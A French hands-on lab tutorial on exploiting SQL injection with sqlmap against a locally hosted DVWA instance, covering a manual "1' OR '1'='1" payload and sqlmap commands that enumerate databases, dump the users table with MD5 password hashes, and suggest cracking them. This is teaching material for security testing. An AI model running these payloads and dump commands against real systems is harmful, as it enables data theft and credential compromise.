Exploiter les injections SQL avec sqlmap

LinuxBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous apprendrez à exploiter les vulnérabilités d'injection SQL à l'aide de sqlmap, un outil automatisé d'injection SQL et de prise de contrôle de base de données. Vous allez pratiquer l'installation de sqlmap, la configuration d'une application web vulnérable (DVWA) et effectuer diverses attaques d'injection SQL pour extraire des données sensibles.

Le laboratoire démontre des techniques pratiques pour identifier les points d'injection, exécuter des requêtes de base de données et analyser les informations extraites. Grâce à cette pratique pratiques, vous acquerrez les compétences essentielles pour les tests de sécurité offensifs et l'évaluation des vulnérabilités défensives.

Installer sqlmap

Dans cette étape, vous allez installer sqlmap, un outil de test de pénétration open-source populaire pour détecter et exploiter les vulnérabilités d'injection SQL. L'injection SQL est une vulnérabilité de sécurité web courante qui permet aux attaquants d'interférer avec les requêtes de base de données. sqlmap automatise le processus de détection et d'exploitation de ces vulnérabilités.

sqlmap est écrit en Python, nous allons donc utiliser le gestionnaire de packages de Python, pip, pour l'installer. pip est un outil qui est inclus avec Python et qui vous aide à installer et à gérer des packages Python supplémentaires. Suivez attentivement ces étapes :

  1. Tout d'abord, assurez-vous d'être dans le répertoire de travail par défaut. Cela est important car il permet de bien organiser vos fichiers de projet :
cd ~/project
  1. Mettez à jour pip vers la dernière version. Garder pip à jour vous permet d'installer les dernières versions des packages et d'éviter les problèmes de compatibilité :
pip install --upgrade pip
  1. Installez sqlmap en utilisant pip. Cette commande télécharge sqlmap et toutes ses dépendances depuis l'Index des Packages Python (PyPI) :
pip install sqlmap
  1. Vérifiez l'installation en vérifiant la version. Cela confirme que sqlmap est correctement installé et vous montre quelle version vous avez :
sqlmap --version

Vous devriez voir une sortie similaire à :

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal...

[xx:xx:xx] [INFO] the back-end DBMS is
sqlmap version: 1.7.x

Cela confirme que sqlmap est installé avec succès. L'outil sera disponible globalement dans votre système car pip installe les packages dans l'environnement Python de l'utilisateur. Le disclaimer légal vous rappelle que sqlmap ne doit être utilisé que sur des systèmes pour lesquels vous avez l'autorisation de tester.

Points clés pour les débutants :

  • pip gère automatiquement le téléchargement et l'installation des packages Python
  • Le flag --upgrade met à jour pip lui-même vers la dernière version
  • sqlmap est installé dans le répertoire des site-packages de Python où tous les packages Python sont stockés
  • Le flag --version est un moyen standard de vérifier l'installation de nombreux outils en ligne de commande
  • La sortie montre le numéro de version de sqlmap et des informations légales importantes sur l'utilisation appropriée

Configurer une application web vulnérable

Dans cette étape, vous allez configurer une application web délibérément vulnérable appelée "Damn Vulnerable Web Application" (DVWA) qui contient des vulnérabilités d'injection SQL. Cela servira de notre environnement de test pour pratiquer les techniques d'injection SQL avec sqlmap. DVWA est spécifiquement conçu pour les professionnels de la sécurité et les étudiants afin qu'ils puissent apprendre sur les vulnérabilités web dans un environnement sûr et légal.

  1. Tout d'abord, assurez-vous d'être dans le bon répertoire. Le répertoire ~/project est là où nous allons stocker tous nos fichiers de laboratoire :
cd ~/project
  1. Clonez le dépôt DVWA depuis GitHub. Cette commande télécharge tous les fichiers de l'application sur votre machine locale :
git clone https://github.com/digininja/DVWA.git
  1. Accédez au répertoire DVWA. C'est là que tous les fichiers de l'application sont stockés après le clonage :
cd DVWA
  1. Démarrez le serveur web intégré de PHP. Nous utilisons le port 8000 car il est généralement disponible et ne conflictera pas avec d'autres services. 0.0.0.0 signifie que le serveur acceptera les connexions depuis n'importe quelle interface réseau :
php -S 0.0.0.0:8000
  1. Ouvrez un nouvel onglet de terminal (cliquez droit sur le terminal et sélectionnez "Nouvel onglet") tout en laissant le serveur en cours d'exécution. Cela vous permet de continuer à travailler tandis que le serveur web reste actif.

  2. Dans le nouvel onglet, vérifiez que le serveur fonctionne correctement. La commande curl récupère le contenu de la page d'accueil pour confirmer que l'application répond :

curl http://localhost:8000

Vous devriez voir une sortie HTML contenant "Damn Vulnerable Web Application (DVWA)".

Pour les débutants qui cherchent à comprendre les composants :

  • DVWA est une application web PHP/MySQL spécifiquement conçue avec des vulnérabilités de sécurité à des fins d'apprentissage
  • Le serveur intégré de PHP (php -S) est un moyen simple d'exécuter des applications PHP pendant le développement
  • Le port 8000 est un port alternatif courant pour les serveurs de développement lorsque le port 80 n'est pas disponible
  • L'application sera accessible dans votre navigateur à l'adresse http://localhost:8000

Remarque : Laissez le serveur en cours d'exécution dans le premier onglet de terminal tout au long du laboratoire. Toutes les étapes suivantes utiliseront cette application vulnérable. Si vous fermez accidentellement cet onglet, vous devrez redémarrer le serveur en répétant l'étape 4.

Localiser un point d'injection

Dans cette étape, nous allons apprendre à identifier une vulnérabilité d'injection SQL de base dans l'application web vulnérable "Damn Vulnerable Web Application" (DVWA). C'est une première étape cruciale avant d'utiliser des outils automatisés comme sqlmap, car nous devons confirmer manuellement où se trouve la vulnérabilité.

  1. Tout d'abord, assurez-vous que le serveur DVWA est toujours en cours d'exécution (étape 2). Sinon, redémarrez-le :
cd ~/project/DVWA && php -S 0.0.0.0:8000

Cette commande démarre un serveur web PHP exécutant DVWA sur le port 8000.

  1. Ouvrez DVWA dans votre navigateur en visitant :
http://localhost:8000
  1. Connectez-vous avec les identifiants suivants :
Nom d'utilisateur : admin
Mot de passe : password

Ce sont les identifiants par défaut fournis par DVWA à des fins de test.

  1. Réglez le niveau de sécurité sur "faible" (menu de gauche : DVWA Security -> définir sur Faible -> Soumettre)
    DVWA a différents niveaux de sécurité - nous utilisons le niveau "faible" pour démontrer les vulnérabilités de base sans protections.

  2. Accédez à "SQL Injection" dans le menu de gauche
    C'est là que nous allons tester les vulnérabilités d'injection SQL.

  3. Testez l'injection SQL en entrant ceci dans le champ ID utilisateur :

1' OR '1'='1

Il s'agit d'une chaîne de test classique d'injection SQL. Décortiquons-la :

  • L'apostrophe (') ferme la requête originale
  • OR '1'='1' ajoute une condition qui est toujours vraie
  • Ensemble, elles manipulent la requête SQL pour retourner tous les enregistrements
  1. Cliquez sur "Soumettre". Vous devriez voir tous les enregistrements d'utilisateurs retournés, ce qui indique une injection réussie.
    Si vous voyez plus de données que prévu (tous les utilisateurs au lieu d'un seul), cela confirme que l'injection a fonctionné.

Concepts clés pour les débutants :

  • L'injection SQL se produit lorsque l'entrée utilisateur est directement incluse dans les requêtes de base de données sans nettoyage approprié
  • L'apostrophe (') est un caractère courant utilisé pour sortir de la syntaxe de requête SQL prévue
  • 'OR '1'='1' est une charge utile de test de base qui exploite cela en créant une condition qui est toujours vraie
  • Le niveau de sécurité "faible" supprime les protections afin que nous puissions nous concentrer sur l'apprentissage de la vulnérabilité

Ce test réussi montre que le paramètre ID utilisateur est vulnérable à l'injection SQL. Dans l'étape suivante, nous utiliserons ce point de vulnérabilité confirmé avec sqlmap pour une exploitation plus avancée. N'oubliez pas que la recherche manuelle des points d'injection aide à comprendre le fonctionnement des outils automatisés.

Extraire des données avec sqlmap

Dans cette étape, vous utiliserez sqlmap, un outil d'injection SQL automatisé, pour exploiter la vulnérabilité que nous avons identifiée précédemment. L'injection SQL permet aux attaquants d'interagir directement avec une base de données, et sqlmap aide à automatiser ce processus en testant les paramètres et en extrayant des informations.

  1. Tout d'abord, assurez-vous d'être dans le répertoire du projet où nous exécuterons toutes les commandes :
cd ~/project
  1. Exécutez sqlmap contre la page vulnérable. Le paramètre --cookie est crucial ici car DVWA nécessite une authentification. Remplacez <PHPSESSID> par la valeur du cookie que vous avez obtenue lors de votre connexion à DVWA :
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --batch

Le flag --batch indique à sqlmap d'utiliser automatiquement les options par défaut, ce qui est utile pour les débutants qui apprennent à utiliser l'outil.

  1. Lorsque sqlmap vous demande si vous souhaitez enregistrer la session, tapez "Y" puis appuyez sur Entrée. Cela vous permet de reprendre le scan ultérieurement si nécessaire.

  2. Pour découvrir quelles bases de données existent sur le serveur, nous utiliserons le flag --dbs qui signifie "bases de données" :

sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --dbs --batch
  1. La sortie affichera les bases de données disponibles. Vous devriez voir deux bases de données répertoriées :
available databases [2]:
[*] dvwa
[*] information_schema

dvwa est notre base de données cible, tandis que information_schema est une base de données MySQL standard contenant des métadonnées.

  1. Maintenant, examinons les tables de la base de données dvwa. Le paramètre -D spécifie le nom de la base de données, et --tables liste son contenu :
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --tables --batch

Explication des paramètres clés :

  • --cookie : Inclut vos informations d'identification de session pour maintenir un accès authentifié
  • --batch : Exécute sqlmap en mode non interactif en utilisant les choix par défaut
  • --dbs : Découvre les noms des bases de données disponibles sur le serveur
  • -D : Sélectionne une base de données spécifique à étudier
  • --tables : Récupère la liste des tables dans la base de données choisie

Analyser les données récupérées

Dans cette étape, nous allons examiner les informations sensibles de la base de données que sqlmap a réussi à extraire via l'injection SQL. Cela démontre l'impact réel des vulnérabilités d'injection SQL en montrant exactement quelles données les attaquants peuvent accéder.

  1. Tout d'abord, récupérons toutes les données de la table 'users' dans la base de données DVWA. Cette commande s'appuie sur ce que nous avons fait précédemment, mais maintenant nous ciblons spécifiquement la table users pour voir les informations d'identification (remplacez par votre cookie de session) :
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch

Le -D dvwa spécifie la base de données, -T users cible la table users, et --dump récupère tout son contenu.

  1. La sortie révèle des informations sensibles sur les utilisateurs stockées dans la base de données :
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user    | password                         | avatar    | last_login | failed_login        |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1       | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL       | 0                   |
| 2       | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL       | 0                   |
| 3       | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg  | NULL       | 0                   |
| 4       | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL       | 0                   |
| 5       | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL       | 0                   |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+

Notez que la colonne des mots de passe contient des hachages MD5 au lieu de mots de passe en texte brut. Bien que cela soit mieux que de stocker des mots de passe bruts, l'algorithme MD5 est considéré comme cryptographiquement cassé et vulnérable aux attaques par tables arc-en-ciel.

  1. Vous pouvez essayer de casser ces hachages en utilisant des outils en ligne comme CrackStation en copiant et collant les valeurs de hachage. Cela montre comment les algorithmes de hachage faibles peuvent être inversés pour révéler les mots de passe originaux.

  2. Pour comprendre la structure complète de la base de données, nous pouvons récupérer son schéma :

sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch

Le flag --schema révèle toutes les tables et leurs structures de colonnes, donnant aux attaquants une carte de la base de données entière. Il s'agit d'informations extrêmement précieuses pour une exploitation plus approfondie.

Points clés pour les débutants :

  • Le paramètre --dump extrait toutes les données d'une table spécifiée
  • Les hachages MD5 peuvent souvent être cassés en utilisant des tables arc-en-ciel pré-calculées
  • Les informations sur le schéma de la base de données aident les attaquants à comprendre la structure des données
  • Cet exercice démontre comment une seule vulnérabilité d'injection SQL peut conduire à la compromission complète de la base de données
  • Toujours utiliser des algorithmes de hachage forts et salés comme bcrypt pour le stockage des mots de passe

Résumé

Dans ce laboratoire, vous avez appris à installer et à utiliser sqlmap pour les tests d'injection SQL, en commençant par la configuration de l'environnement via l'installation avec pip et la vérification de la version. Le laboratoire vous a guidé dans le déploiement de DVWA comme cible vulnérable et dans la mise en place d'un serveur de test local.

Vous avez pratiqué l'identification des vulnérabilités d'injection SQL et l'extraction de données à l'aide des outils automatisés de sqlmap. Les exercices ont couvert les opérations de base en ligne de commande tout en démontrant des techniques pratiques de test en cybersécurité pour détecter les vulnérabilités des bases de données.